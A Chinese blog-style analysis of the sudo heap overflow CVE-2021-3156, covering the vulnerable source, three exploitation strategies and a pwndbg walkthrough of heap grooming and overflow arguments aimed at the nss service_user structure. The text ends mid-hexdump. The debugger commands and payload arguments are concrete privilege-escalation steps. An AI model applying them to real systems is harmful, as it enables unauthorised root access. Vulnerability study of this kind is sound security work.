str045漏洞提权linux,SUDO漏洞提权实战(CVE-2021-3156 POC)

42e0ac8f505b87157d55889576b23b4f.png

引言

最近刷公众号看到了一个sudo的漏洞,看漏洞介绍是个堆缓冲区溢出的漏洞,出于手痒想跟进一下这个漏洞。经过一番折腾,发现这个漏洞还挺典型的,于是总结了一些想法。接下来我会在漏洞分析、提权原理、利用方案、实战分析等方面表达一些自己的观点。

漏洞分析

这几天网上对这个漏洞分析已经挺多的了,这里我再简略分析一下,详情可以参考一下Qualys团队的研究记录。Qualys团队统计的漏洞影响范围是1.8.2 – 1.8.31p2 以及 1.9.0 -1.9.5p1,使用默认编译选项发行的版本。可以在 https://github.com/sudo-project/sudo.git 下载sudo的源代码(我使用的是1_9_5p1版本的源码)。接下来我们一起看一下源码中set_cmnd方法:

// plugins/sudoers/sudoers.c913 /*914 * Fill in user_cmnd, user_args, user_base and user_stat variables915 * and apply any command-specific defaults entries.916 */917 static int918 set_cmnd(void)919 {...957 /* Alloc and build up user_args. */958 for (size = 0, av = NewArgv + 1; *av; av++)959 size += strlen(*av) + 1;960 if (size == 0 || (user_args = malloc(size)) == NULL) {961 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));962 debug_return_int(NOT_FOUND_ERROR);963 }964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {965 /*966 * When running a command via a shell, the sudo front-end967 * escapes potential meta chars. We unescape non-spaces968 * for sudoers matching and logging purposes.969 */970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {971 while (*from) {972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))973 from++;974 *to++ = *from++;975 }976 *to++ = ' ';977 }978 *--to = '\0';979 } else {···

漏洞发生在如下逻辑中:

在958~963行会计算输入参数字符串长度,分配对等大小的堆内存。

在970~978会把参数逐字节拷贝到已分配好的内存中。

在972 判断了 {‘\‘, ‘\0’} 这种情况,作者的本意应该是处理转义字符,结果造成了其他漏洞。

当遇到 -s ‘param\‘’ 这种参数时:

分配内存长度为: size = strlen(“param\“) 。

当970~978判断参数 {‘\‘, ‘\0’} 时执行 from++,参数的结束符 {‘\0’} 被跳过。

最终导致参数以后的内存会继续向user_args中拷贝,直到遇到{‘\0’} 才结束。

linux 命令行程序参数后边的内存空间存放的是当前命令行的环境变量。因而可以继续构造包含{‘\‘, ‘\0’} 的环境变量,实现内存任意溢出。

接下让我们看一下sudo程序的运行内存,验证上诉的第4点。

# env -i HOME=/root PATH=/usr/bin/ '11=b\' '22=c\' '33=dddddddddddddddddd' gdb --args /tmp/sudo/bin/sudoeditpwndbg> show envHOME=/rootPATH=/usr/bin/11=b\22=c\33=dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddpwndbg> b sudoers.c:1014 Breakpoint 3 at 0x7fa8a7fcf19d: sudoers.c:1014. (2 locations)pwndbg> r -s 'aaaaaaaaaaaaaaaaaaaaaaaaa\'...pwndbg> p sudo_user.cmnd_args$1 = 0x555c71019e70 'a' >pwndbg> hexdump sudo_user.cmnd_args 128+0000 0x555c71019e70 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│+0010 0x555c71019e80 61 61 61 61 61 61 61 61 61 00 31 31 3d 62 00 32 │aaaa│aaaa│a.11│=b.2│+0020 0x555c71019e90 32 3d 63 00 33 33 3d 64 64 64 64 64 64 64 64 64 │2=c.│33=d│dddd│dddd│+0030 0x555c71019ea0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 │dddd│dddd│dddd│dddd│...+0060 0x555c71019ed0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 00 65 │dddd│dddd│dddd│dd.e│+0070 0x555c71019ee0 20 6d 6f 64 65 73 2e 0a 23 20 53 65 65 20 74 68 │.mod│es..│#.Se│e.th

times

我们发现sudo_user.cmnd_args内存以后的内存已经被环境变量覆盖了。

提权原理分析

说到sudo类程序的提权原理,我们需要复习一下linux文件权限表,日常开发中我们常用的文件配置权限如下:

-rw------- (600) 只有拥有者有读写权限。-rw-r--r-- (644) 只有拥有者有读写权限;而属组用户和其他用户只有读权限。-rwx------ (700) 只有拥有者有读、写、执行权限。-rwxr-xr-x (755) 拥有者有读、写、执行权限;而属组用户和其他用户只有读、执行权限。-rwx--x--x (711) 拥有者有读、写、执行权限;而属组用户和其他用户只有执行权限。-rw-rw-rw- (666) 所有用户都有文件读、写权限。-rwxrwxrwx (777) 所有用户都有读、写、执行权限。

我们在分别查看一下普通程序(/usr/bin/ls)和sudo类程序(/usr/bin/sudo)的文件权限配置:

-> % stat -c '%04a %U %G %n' /usr/bin/ls 0755 root root /usr/bin/ls-> % stat -c '%a %U %G %n' /usr/bin/sudo4755 root root /usr/bin/sudo

sudo程序的不难发现多最高位权限码是4,这个文件权限码涉及的linux文件的SUID、SGID、Sticky权限配置,这三个具体作用如下:

SUID: 作用于二进制文件,使用者将继承此程序的所有者权限

SGID: 作用于二进制文件和目录 对于二进制文件: 使用者将继承此程序的所属组权限

对于目录: 此文件夹下所有用户新建文件都自动继承此目录的用户组

Sticky:作用于目录,目录中每个用户仅能删除、移动或改名自己的文件或目录

sudo程序具备SUID权限,同时sudo的所有者是root,因此普通用户执行sudo程序是可以以root身份去执行的,我们可以实现个简版的sudo.min 程序测试一下:

-> % cat << EOF | sudo gcc -Wno-implicit-function-declaration -o sudo.min -xc -int main(int argc, char **argv) { return !setuid(0) && argc > 1 && execvp(argv[1], argv + 1);}EOF-> % sudo chmod 4755 sudo.min-> % stat -c '%04a %U %G %n' sudo.min4755 root root sudo.min-> % ./sudo.min id -u0-> % ./sudo.min shsh-5.0# id -u0

上诉简版的sudo程序中我们不难发现带有SUID权限的sudo程序具备了所有者(root)的权限。然而真正的sudo程序会在执行输入命令前鉴定执行者的权限,只有通过了,才会继续执行输入的命令。CVE-2021-3156漏洞在发生在方法set_cnmd,此方法是权限鉴定前的逻辑,因此会造成任意用户提全的风险。

利用方案

根据前文的漏洞分析我们已经知道,可以通过输入特殊的参数和环境变量,实现任意大小的堆内存溢出,Qualys团队给出了三种利用这个漏洞的思路,我发现这三种漏洞利用思路属于比较经典的堆溢出利用方案,接下来我会将详细剖析一下这三种利用思路。

重写函数指针

函数指针在CPU执行过程中会经历间接寻址、执行的过程,因此替换函数指针的值便可以实现任意代码执行,Qualys团队通过crash日志分析找到了struct sudo_hook_entry,修改struct sudo_hook_entry实例可以实现任意代码执行的目的,接下来我们根据源码探究一下这个方案的可行性。

// src/hooks.c... 34 /* Singly linked hook list. */ 35 struct sudo_hook_entry { 36 SLIST_ENTRY(sudo_hook_entry) entries; 37 union { 38 sudo_hook_fn_t generic_fn; 39 sudo_hook_fn_setenv_t setenv_fn; 40 sudo_hook_fn_unsetenv_t unsetenv_fn; 41 sudo_hook_fn_getenv_t getenv_fn; 42 sudo_hook_fn_putenv_t putenv_fn; 43 } u; 44 void *closure; 45 }; 46 SLIST_HEAD(sudo_hook_list, sudo_hook_entry); 47 48 /* Each hook type gets own hook list. */ 49 static struct sudo_hook_list sudo_hook_setenv_list = 50 SLIST_HEAD_INITIALIZER(sudo_hook_setenv_list); 51 static struct sudo_hook_list sudo_hook_unsetenv_list = 52 SLIST_HEAD_INITIALIZER(sudo_hook_unsetenv_list); 53 static struct sudo_hook_list sudo_hook_getenv_list = 54 SLIST_HEAD_INITIALIZER(sudo_hook_getenv_list); 55 static struct sudo_hook_list sudo_hook_putenv_list = 56 SLIST_HEAD_INITIALIZER(sudo_hook_putenv_list);...125 /* Hook registration internals. */126 static int127 register_hook_internal(struct sudo_hook_list *head,128 int (*hook_fn)(), void *closure)129 {130 struct sudo_hook_entry *hook;131 debug_decl(register_hook_internal, SUDO_DEBUG_HOOKS);132 133 if ((hook = calloc(1, sizeof(*hook))) == NULL) {134 sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,135 "unable to allocate memory");136 debug_return_int(-1);137 }138 hook->u.generic_fn = hook_fn;139 hook->closure = closure;140 SLIST_INSERT_HEAD(head, hook, entries);141 142 debug_return_int(0);143 }...

分析struct sudo_hook_entry 的定义中我们不难发现,sudo_hook_entry中包含一个函数指针,而且这个指针还是一个union类型的指针。(猜测作者应该是想作为智能指针使用,智能指针详情,请了解 c++ 的auto指针)。因为这个漏洞是堆溢出类型的漏洞,如果想通过溢出直接修改sudo_hook_entry的实例,sudo_hook_entry的实例最好是在堆空间的实例(由malloc、calloc、……申请的内存是堆空间,如果是静态区就比较麻烦了)。分析register_hook_internal函数的133行我们不难发现,sudo_hook_entry的实例是由calloc申请的内存。因此只要sudo_hook_entry实例的函数指针在sudo程序中有被执行,修改sudo_hook_entry实例的函数指针的确能够实现任意任意代码执行的目的。

上述我们分析论证了重写sudo_hook_entry实例的理论可行性,不过想要真正的实现任意代码执行,对于这个程序还要满足其他条件,我总结为以下几点:

能够加载自定义的代码,修改实例函数指针,让其执行自定义代码。

能够执行自定义代码,修改实力函数指针为execv、dlopen等加载额外代码的接口地址,再配合有效的参数,实现执行自定义代码模块。

Qualys团队通过构造参数满足第二个条件来实现任意代码执行的。让我们继续分析源码,探求一下其中原理。

// src/hooks.c ... 90 /* NOTE: must not anything that might call getenv() */ 91 int 92 process_hooks_getenv(const char *name, char **value) 93 { 94 struct sudo_hook_entry *hook; 95 char *val = NULL; 96 int rc = SUDO_HOOK_RET_NEXT; 97 98 /* First process the hooks. */ 99 SLIST_FOREACH(hook, &sudo_hook_getenv_list, entries) {100 rc = hook->u.getenv_fn(name, &val, hook->closure);101 if (rc == SUDO_HOOK_RET_STOP || rc == SUDO_HOOK_RET_ERROR)102 break;103 }104 if (val != NULL)105 *value = val;106 return rc;107 }...

在process_hooks_getenv函数的第100行执行了函数指针,该函数的第一个参数是一个字符串,如果用execv的函数地址重写getenv_fn的地址,第100行将执行execv(name, &val, hook->closure),只要运行sudo程序的当前路径下存在一个与同name同名的可执行程序,便可以实现任意代码执行。

当前主流的操作系统大多数开启了alsr机制,因此execv的函数地址、以及process_hooks_getenv实例地址,在每次运行sudo时都是不同,而且在健全的操作系统里,用户只允许查看自己的crash日志。,因此通过对抗alsr来修改函数指针在实战中还是比较困难的。个人觉得实现这个利用方案还要是掺杂一些运气进去的。

重写模块加载接口参数

通过修改加载模块接口函数(dlopen、execv、……)的参数也是一个引入自定义代码有效方法。Qualys团队通过crash日志分析找到struct service_user可以实现任意代码执行的目的,接下来我们根据源码和函数运行内存探究一下这个方案的可行性。

pwndbg> b set_cmnd Breakpoint 1 at 0x7f40003ebfd0: file ./sudoers.c, line 922.pwndbg> r -s xxxxxx\\ xxxxxxxxxxxxx Starting program: /tmp/sudo/bin/sudoedit -s xxxxxx\\ xxxxxxxxxxxxx[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".Breakpoint 1, set_cmnd () at ./sudoers.c:922...pwndbg> b nss_load_library Breakpoint 2 at 0x7fc7b9b8d4c0: file nsswitch.c, line 329.pwndbg> c Continuing.Breakpoint 2, nss_load_library (ni=ni@entry=0x561ae1533cc0) at nsswitch.c:329pwndbg> p ni $1 = (service_user *) 0x56536ec44cc0pwndbg> p *ni $2 = { next = 0x56536ec44d00, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x0, known = 0x56536ec50c60, name = 0x56536ec44cf0 "files"}pwndbg> p sudo_user.cmnd_args$3 = 0x56536ed07a0 "xxxxxx"pwndbg> heapbase heapbase : 0x56536ec4400pwndbg> p (void*) 0x56536ed07a0 - 0x56536ec44cc0 $4 = (void *) 0xffffaf11c828bae0

在上述调试窗口中,我的测试方法可以概括为以下几步:

设置可以让set_cmnd堆溢出的参数:”-s xxxxxx\ xxxxxxxxxxxxx”

判断set_cmnd堆溢出后内否执行到nss_load_library

查看ni的地址是否属于堆空间(通过heapbase我们可以判断ni的地址属于堆空间)

计算sudo_user.cmnd_args 和ni的地址偏移量(0xffffaf11c828bae0)

判断ni与ni->name 是否属于同一片内存(这点也是比较关键的,后文我会结合源码会详细解释原因)

经过上诉操作可以得出以下几条结论:

set_cmnd溢出后仍然能够执行到nss_load_library,也就是说set_cmnd和nss_load_library之间的代码段没有受到坏内存影响。

ni内存是在sudo_user.cmnd_args之前申请的,因为二者偏移量为负数。(heap分配内存是由低址 -> 高地址方向分配,重新运行调试窗口便可以发现nss_load_library在set_cmnd前执行过)

接下来我们接续分析一下nss_load_library的源码实现:

// glibc-2.31 我的操作系统的libc版本是 GLIBC 2.31-0// 通过执行/usr/lib/x86_64-linux-gnu/libc.so.6 查看自己操作系统的libc版本// nss/nsswitch.h... 61 typedef struct service_user 62 { 63 /* And the link to the next entry. */ 64 struct service_user *next; 65 /* Action according to result. */ 66 lookup_actions actions[5]; 67 /* Link to the underlying library object. */ 68 service_library *library; 69 /* Collection of known functions. */ 70 void *known; 71 /* Name of the service (`files', `dns', `nis', ...). */ 72 char name[0]; 73 } service_user;...//nss/nsswitch.c...318 /* Load library. */319 static int320 nss_load_library (service_user *ni)321 {322 if (ni->library == NULL)323 {324 /* This service has not yet been used. Fetch the service325 library for it, creating a new one if need be. If there326 is no service table from the file, this static variable327 holds the head of the service_library list made from the328 default configuration. */329 static name_database default_table;330 ni->library = nss_new_service (service_table ?: &default_table,331 ni->name);332 if (ni->library == NULL)333 return -1;334 }335 336 if (ni->library->lib_handle == NULL)337 {338 /* Load the shared library. */339 size_t shlen = (7 + strlen (ni->name) + 3340 + strlen (__nss_shlib_revision) + 1);341 int saved_errno = errno;342 char shlib_name[shlen];343 344 /* Construct shared object name. */345 __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,346 "libnss_"),347 ni->name),348 ".so"),349 __nss_shlib_revision);350 351 ni->library->lib_handle = __libc_dlopen (shlib_name);352 if (ni->library->lib_handle == NULL)...

通过观察nssload_library的实现,我们不难发现当ni->library == NULL时,会触发第351行的dlopen加载一个以”libnss“开头,”.so.2”结尾的动态库。动态库的完整值取决于ni->name的值。因此我们只要通过堆溢出修改ni->library为NULL,ni->name为遵循nss命名规范的自定义动态库既可以加载自定义的代码了。

由上文分析证明只需要修改ni->library和ni->name两处值便可以实现利用漏洞的目的。对于一次性漏洞(一个生命周期中只允许触发一次的漏洞)同时修改两处不同的内存难度是很大的。不过在上文的运行内存分析中我们已经发现ni和ni->name 属于同一片内存。为了证明这两个地址在同一片内存不是偶然的,我们还要继续分一下struct service_user 的结构。

nss/nsswitch.h的第 61 – 73行定义了 struct service_user的结构, 第72行的 char name[0];(柔性数组)决定了ni和ni->name指向的地址是一段连续内存。(这种写法在高性能编程里经常会用到,因为这样会减少一次malloc/free,这里不做过多的讨论,以后有机会可以详细分析一下。)

在上文的运行内存分析时,我提到过:”sudouser.cmnd_args 和ni的地址偏移量是负数“。堆内存是由低地址向高地址分配的,溢出是低地址向高地址溢出的。只有sudo_user.cmnd_args的地址在ni地址之前才能实现修改ni内容。这里我们还要了解一下malloc的缓存机制,为了提高分配内存的速度,以及减少内存碎片。高版本libc中引入了fastbins、largetbins、smallbins、tcachebins等缓存机制。(当前主流操作系统的libc版本都支持这些缓存机制)。因为sudo_user.cmnd_args地址空间长度受我们自己控制,我们只要在ni分配之前申请一块特殊长度的内存,保证在ni之前分配,在set_cmnd前释放且没被其他逻辑再申请走。基于Qualys团队的分析思路,我们可以通过setlocale的方法通过控制LC*的环境变量构造好这个特殊长度的内存碎片。构造内存碎片的过程我会在后文的实战中做进一步演示,这里不做再多的分析。

个人经验来看这个利用方案要比对抗alsr的方案实战性高一些,因为它对操作系统没有任何额外要求,构造随机内存碎片的运气成分也可以通过研究内存分配逻辑来解决。

篡改权限鉴定配置

这种这利用方式属于sudo程序特有逻辑,sudo程序在权限鉴定时首先会查找session,判断session中的权限鉴定是否有效。(一般操作系统sudo的session都会持续一段时间,在这个时间内,再次调用sudo不用输入密码。这种session机制本身就存在缺陷,在某些情况下是可以利用的,不过这里没有用到) 。这个session检查接口(timestamp_lock)有一个小漏洞:timestamp_lock在寻找入口结构(struct timestamp_entry)时,没有做tlv结构的完整性校验,造成错误的timestamp_entry结构会被写回到session文件中。接下来我们根据源码再研究一下:

// plugins/sudoers/def_data.h... 95 #define I_TIMESTAMPDIR 46 96 #define def_timestampdir (sudo_defs_table[I_TIMESTAMPDIR].sd_un.str) //"/run/sudo/ts" 97 #define I_TIMESTAMPOWNER 47...// plugins/sudoers/defaults.c ... 583 goto oom; 584 if ((def_timestampdir = strdup(_PATH_SUDO_TIMEDIR)) == NULL) 585 goto oom; ... // plugins/sudoers/check.h... 65 struct timestamp_entry { 66 unsigned short version; /* version number */ 67 unsigned short size; /* entry size */ 68 unsigned short type; /* TS_GLOBAL, TS_TTY, TS_PPID */ 69 unsigned short flags; /* TS_DISABLED, TS_ANYUID */ 70 uid_t auth_uid; /* uid to authenticate as */ 71 pid_t sid; /* session ID associated with tty/ppid */ 72 struct timespec start_time; /* session/ppid start time */ 73 struct timespec ts; /* time stamp (CLOCK_MONOTONIC) */ 74 union { 75 dev_t ttydev; /* tty device number */ 76 pid_t ppid; /* parent pid */ 77 } u; 78 }; ... // plugins/sudoers/timestamp.c ... 298 static ssize_t 299 ts_write(int fd, const char *fname, struct timestamp_entry *entry, off_t offset) 300 { ... 305 if (offset == -1) { 306 old_eof = lseek(fd, 0, SEEK_CUR); 307 nwritten = write(fd, entry, entry->size); 308 } else { ... 398 /* 399 * Open the user's time stamp file. 400 * Returns a cookie or NULL on error, does not lock the file. 401 */ 402 void * 403 timestamp_open(const char *user, pid_t sid) 404 { ... 420 /* Open time stamp file. */ 421 if (asprintf(&fname, "%s/%s", def_timestampdir, user) == -1) { 422 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); ... 608 /* 609 * Lock a record in the time stamp file for exclusive access. 610 * If the record does not exist, it is created (as disabled). 611 */ 612 bool 613 timestamp_lock(void *vcookie, struct passwd *pw) 614 { ... 638 nread = read(cookie->fd, &entry, sizeof(entry)); 639 if (nread < ssizeof(struct timestamp_entry_v1)) { 640 /* New or invalid time stamp file. */ 641 overwrite = true; 642 } else if (entry.type != TS_LOCKEXCL) { ... 648 if (ts_write(cookie->fd, cookie->fname, &entry, 0) == -1) 649 debug_return_bool(false); 650 } else { ...

在plugins/sudoers/timestamp.c 的421行我们不难发现,sudo默认session路径是“/run/sudo/ts” + 当前用户名,def_timestampdir的地址是一个堆地址(plugins/sudoers/defaults.c的584行不难发现,使用strdup初始化的def_timestampdir)。因此我们可以总结一下这个方案的利用思路:

构造溢出内存重写def_timestampdir的值,修改成一个普通用户可写的目录,暂记为NDIR。

启动其他进程在NDIR中创建一个名称为当前用户指向 /etc/passwd的软链接

在同一块溢出内存中构造uid是0的当前用户配置(例如:test: x:0:0::/home/test:/usr/bin/sh)

利用timestamp_lock的回写逻辑把新的配置写入到NDIR/test -> /etc/passwd,最终实现test的uid == 0

这个漏洞利用方案有点像前几年的内核“脏牛”漏洞,都是通过越权修改文件,最终实现提权效果。根据Qualys团队的研究表明,timestamp_lock的小漏洞已经在2020.01的586b418a修复了,目前还没有backport到老的版本中。

POC实战

上诉的三类方案中我个人更喜欢第二个方案,有以下几个原因:

不需要与alsr对抗,有些操作系统不允许读取crash日志,获取alsr基地址比较困难。

个人更喜欢缓存攻击的攻击方案(以前工作中写过一些内核POC,经常会利用slab/slub机制。缓存设计的本意是提升效率的,结果引发了新的安全问题,感兴趣的同学可以详细学习一下。)

第三个方案依赖其他漏洞,前提条件太多,针对性太强。

综上几个原因,让我们开始第二个方案的实战吧。

我们已经知道sudo的运行内存会受到LC_*的环境变量影响我们先清空一下环境变量看一下sudo的运行内存情况:

# env -i HOME=/root PATH=/usr/bin/ gdb --args /tmp/sudo/bin/sudoedit -A -s xxxxxx\\ xxxxxxxxxxxxx

set_cmnd执行前的内存情况:

pwndbg> heapbaseheapbase : 0x55790ab92000pwndbg> heapinfo top: 0x55790aba6a50 (size : 0xc5b0) last_remainder: 0x55790ab9eba0 (size : 0xf00) unsortbin: 0x55790ab9eba0 (size : 0xf00) largebin[48]: 0x55790aba3bd0 (size : 0x2d20) largebin[50]: 0x55790ab9faf0 (size : 0x4010)(0x20) tcache_entry[0](1): 0x55790ab9e390(0x40) tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920(0x70) tcache_entry[5](1): 0x55790ab93480(0x80) tcache_entry[6](1): 0x55790aba3b60(0x100) tcache_entry[14](1): 0x55790ab97f10(0x150) tcache_entry[19](1): 0x55790ab96ae0(0x180) tcache_entry[22](1): 0x55790ab96960(0x1e0) tcache_entry[28](1): 0x55790ab9e8c0

set_cmnd执行后nss_load_library初始化__nss_group_database前的的内存情况:

pwndbg> heapinfo top: 0x55790aba6a50 (size : 0xc5b0) last_remainder: 0x55790ab9ec40 (size : 0xe60) unsortbin: 0x55790ab9ec40 (size : 0xe60) largebin[48]: 0x55790aba3bd0 (size : 0x2d20) largebin[50]: 0x55790ab9faf0 (size : 0x4010)(0x40) tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920(0x70) tcache_entry[5](1): 0x55790ab93480(0x80) tcache_entry[6](1): 0x55790aba3b60(0x100) tcache_entry[14](1): 0x55790ab97f10(0x150) tcache_entry[19](1): 0x55790ab96ae0(0x180) tcache_entry[22](1): 0x55790ab96960(0x1e0) tcache_entry[28](1): 0x55790ab9e8c0

nss_load_library初始化__nss_group_database和sudo_user.cmnd_args后的内存i情况:

pwndbg> heapinfo top: 0x55790aba6a50 (size : 0xc5b0) last_remainder: 0x55790ab9ec80 (size : 0xe20) unsortbin: 0x55790ab9ec80 (size : 0xe20) largebin[48]: 0x55790aba3bd0 (size : 0x2d20) largebin[50]: 0x55790ab9faf0 (size : 0x4010)(0x40) tcache_entry[2](3): 0x55790ab941d0 --> 0x55790ab96c30 --> 0x55790ab96920(0x70) tcache_entry[5](1): 0x55790ab93480(0x80) tcache_entry[6](1): 0x55790aba3b60(0x100) tcache_entry[14](1): 0x55790ab97f10(0x150) tcache_entry[19](1): 0x55790ab96ae0(0x180) tcache_entry[22](1): 0x55790ab96960(0x1e0) tcache_entry[28](1): 0x55790ab9e8c0pwndbg> p __nss_group_database $5 = (service_user *) 0x55790ab92cc0pwndbg> p sudo_user.cmnd_args $6 = 0x55790ab9e390 "xxxxxx"pwndbg> chunkptr __nss_group_database ================================== Chunk info ==================================Status : Used Freeable : Trueprev_size : 0x70756f7267 size : 0x40 prev_inused : 1 is_mmap : 0 non_mainarea : 0 pwndbg> chunkptr sudo_user.cmnd_args ================================== Chunk info ==================================Status : Freed Unlinkable : False (FD or BK is corruption) Can't access memoryprev_size : 0x0 size : 0x20 prev_inused : 1 is_mmap : 0 non_mainarea : 0 fd : 0x7800787878787878 bk : 0x7878787878787878

上述的内存情况我们可以得到以下结论:

sudo_user.cmnd_args的地址高于__nss_group_database的地址

tcache中也没有低于__nss_group_database的地址

__nss_group_database节点的大小是0x40。

sudo_user.cmnd_args节点的大小是0x20 。(因为已经溢出下一个chunk已经被破坏)

接下来我们构造一些内存碎片,给让他们的地址小于__nss_group_database

pwndbg> set env LC_IDENTIFICATION=en_US.UTF-8@xxxxxxxxxxxxxpwndbg> heapbaseheapbase : 0x56447517a000pwndbg> heapinfo top: 0x564475190500 (size : 0xab00) last_remainder: 0x564475188730 (size : 0xe20) unsortbin: 0x564475188730 (size : 0xe20) largebin[48]: 0x56447518d680 (size : 0x2d20) largebin[50]: 0x5644751895a0 (size : 0x4010)(0x40) tcache_entry[2](3): 0x56447517d7e0 --> 0x56447517d770 --> 0x56447517d460(0x70) tcache_entry[5](1): 0x56447517cf80(0x80) tcache_entry[6](1): 0x56447518d610(0x100) tcache_entry[14](1): 0x5644751819c0(0x150) tcache_entry[19](1): 0x56447517d620(0x180) tcache_entry[22](1): 0x56447517d4a0(0x1e0) tcache_entry[28](1): 0x564475188370pwndbg> p __nss_group_database $1 = (service_user *) 0x56447517d8c0pwndbg> p sudo_user.cmnd_args $2 = 0x564475187e40 "xxxxxx"pwndbg> p (void*)__nss_group_database - 0x56447517d7e0 $2 = (void *) 0xe0

此时我们发现,tcache_entry[2]、tcache_entry[19]、 tcache_entry[22]的内存碎片地址都小于__nss_passwd_database的地址。接下来我们调整输入参数,申请到这个碎片。

pwndbg> b set_cmnd Breakpoint 1 at 0x7f36d5c62fd0: file ./sudoers.c, line 922.pwndbg> r -s 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\'...pwndbg> heapbase heapbase : 0x555f813c5000pwndbg> heapinfo top: 0x555f813db500 (size : 0xab00) last_remainder: 0x555f813d3650 (size : 0xf00) unsortbin: 0x555f813d3650 (size : 0xf00) largebin[48]: 0x555f813d8680 (size : 0x2d20) largebin[50]: 0x555f813d45a0 (size : 0x4010)(0x20) tcache_entry[0](1): 0x555f813d2e40(0x40) tcache_entry[2](3): 0x555f813c87d0 --> 0x555f813c8770 --> 0x555f813c8460(0x70) tcache_entry[5](1): 0x555f813c7f80(0x80) tcache_entry[6](1): 0x555f813d8610(0x100) tcache_entry[14](1): 0x555f813cc9c0(0x150) tcache_entry[19](1): 0x555f813c8620(0x180) tcache_entry[22](1): 0x555f813c84a0(0x1e0) tcache_entry[28](1): 0x555f813d3370pwndbg> b ./sudoers.c:1014 Breakpoint 2 at 0x7f053126319d: ./sudoers.c:1014. (2 locations)pwndbg> c...pwndbg> heapinfo top: 0x555f813db500 (size : 0xab00) last_remainder: 0x555f813d36f0 (size : 0xe60) unsortbin: 0x555f813d36f0 (size : 0xe60) largebin[48]: 0x555f813d8680 (size : 0x2d20) largebin[50]: 0x555f813d45a0 (size : 0x4010)(0x20) tcache_entry[0](1): 0x555f813d2e40(0x40) tcache_entry[2](2): 0x555f813c8770 --> 0x555f813c8460 // 0x555f813c87d0 已经被我们申请走了(0x70) tcache_entry[5](1): 0x555f813c7f80(0x80) tcache_entry[6](1): 0x555f813d8610(0x100) tcache_entry[14](1): 0x555f813cc9c0(0x150) tcache_entry[19](1): 0x555f813c8620(0x180) tcache_entry[22](1): 0x555f813c84a0(0x1e0) tcache_entry[28](1): 0x555f813d3370pwndbg> b nss_load_library Breakpoint 3 at 0x7f0531c8c4c0: file nsswitch.c, line 329.pwndbg> c...pwndbg> p __nss_group_database $1 = (service_user *) 0x555f813c88c0pwndbg> p sudo_user.cmnd_args $2 = 0x555f813c87d0 'x' >pwndbg> p (void*)__nss_group_database - (void*)sudo_user.cmnd_args $38 = 240pwndbg> p (void*)&__nss_group_database->library - (void*)sudo_user.cmnd_args $49 = 272pwndbg> p (void*)__nss_group_database->name - (void*)sudo_user.cmnd_args $40 = 288

times

现在我们已经构造好了内存布局,接下来我们调整环境变量,实现修改 _nss_group_database {library、name}的值。如果要真正实现漏洞利用,需要将libary的值修改成NULL,name修改一个两个字节以上的字符串。根据漏洞特点连续的{‘\’ ‘\’ ‘\’ ‘\’ …}会溢出成一个连续0的内存空间,如果要修改libary为NULL,至少要连续八个‘\’ 以上,然后我们接着构造溢出参数,实现修改library的目的。

pwndbg> b set_cmnd Breakpoint 1 at 0x7fdc9f272fd0: file ./sudoers.c, line 922.pwndbg> set env 1 xxxxxpwndbg> r -s 'xxxxxx' 'x' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\' '\'...pwndbg> search -t string -s filessudo 0x557da6f2f370 0x73656c6966 /* 'files' */sudo 0x557da6f2f3b2 0x65730073656c6966 /* 'files' */[heap] 0x557da7cd4190 0x73656c6966 /* 'files' */[heap] 0x557da7cd68f0 0x73656c6966 /* 'files' */[heap] 0x557da7cd6990 0x73656c6966 /* 'files' */[heap] 0x557da7cd69f0 0x73656c6966 /* 'files' */[heap] 0x557da7cd6a50 0x73656c6966 /* 'files' */[heap] 0x557da7cd6b50 0x73656c6966 /* 'files' */[heap] 0x557da7cd6c00 0x73656c6966 /* 'files' */[heap] 0x557da7cd6cb0 0x73656c6966 /* 'files' */[heap] 0x557da7cd6d50 0x73656c6966 /* 'files' */[heap] 0x557da7cd6df0 0x73656c6966 /* 'files' */sudoers.so 0x7f60ad46b339 0x73000073656c6966 /* 'files' */libc-2.31.so 0x7f60adecd9c7 0x65540073656c6966 /* 'files' */libc-2.31.so 0x7f60adececc5 0x6f680073656c6966 /* 'files' */libc-2.31.so 0x7f60aded070e 0x652f0073656c6966 /* 'files' */libc-2.31.so 0x7f60aded36a9 0x49000073656c6966 /* 'files' */ld-2.31.so 0x7f60adf9216d 0x73656c6966 /* 'files' */pwndbg> p *__nss_passwd_database$1 = { next = 0x557da7cd4440, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x557da7cd58f0, known = 0x557da7cd58b0, name = 0x557da7cd4190 "files"}pwndbg> p *(service_user *)(0x557da7cd68f0 - 0x30) $2 = { next = 0x557da7cd6900, actions = {NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_CONTINUE, NSS_ACTION_RETURN, NSS_ACTION_RETURN}, library = 0x0, known = 0x0, name = 0x557da7cd68f0 "files"}pwndbg> hexdump 0x557da7cd68e0 +0000 0x557da7cd68e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0010 0x557da7cd68f0 66 69 6c 65 73 00 00 00 41 00 00 00 00 00 00 00 │file│s...│A...│....│+0020 0x557da7cd6900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│+0030 0x557da7cd6910 00 